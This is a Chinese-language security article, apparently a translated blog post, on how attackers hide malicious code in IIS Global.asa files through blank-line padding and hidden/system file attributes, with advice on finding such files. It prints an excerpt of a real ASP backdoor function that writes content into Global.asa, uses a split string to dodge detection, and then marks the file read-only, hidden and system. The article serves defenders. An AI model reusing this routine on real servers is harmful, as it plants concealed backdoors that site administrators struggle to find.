众所周知:黑客会利用Apache配置的.htaccess文件去覆盖默认的WEB网站的配置,功能大概有以下几点:
添加条件重定向
创建虚拟路径(mod_rewrite)
自动添加PHP脚本
......
在IIS/ASP的环境中,有个Global.asa文件,这个文件包含了所有asp脚本的共同声明,放在某个ASP应用的根目录。如果该文件存在,该ASP应用会自动包含这个文件。
空白行
黑客也喜欢在Global.asa中使用各种.htaccess技巧,比如隐藏恶意内容,之后就会往里面注入大量的空白行。根据Windows浏览文本的特性,粗心的管理还是难以发现的。
文件隐藏属性
.htaccess还有另一个属性,那就是它们都是隐藏的。这意味着部分管理员可能不知道他们的存在,除非他们使用显示隐藏文件选项的FTP客户端,或者使用ls -a这类列文件命令参数。尽管Global.asa文件也不方便自动在Windows中隐藏,但黑客们仍然有其他办法。
下面的代码节选自创建恶意Global.asa的ASP后门:
[PHP] 纯文本查看 复制代码 Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "utf-8"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function
请注意文件里的“1+2+4”,这里解释下:
1 = 只读文件,网站应用可以读取文件不能写或者删除。
2 = 隐藏文件,不包含在普通文件列表里。
4 = 系统文件,系统进行部分调用,或者特殊专用。
因此,黑客可以建立一个不能被更改的、系统文件级别的Global.asa,这样管理员FTP登录进去就看不到了。
如何查找文件
管理员想要找出这样的文件,需要与创该类文件相同的权限。如果Global.asa是用WEB服务创建的,你需要与WEB容器进程相同的权限去读文件。在你的主机账户管理面板使用文件管理器,或者使用一些客户端脚本来列出服务器上的文件。
PS:上面的案例,是作者的同事Bruno Zanelato在某个服务器上发现的后门和Global.asa。黑客用它们给每个asp网页来挂广告,赚取流量费用。本质上来说,这是一个auto_prepend/append_file和mod_rewrite .htaccess手段的结合使用。 |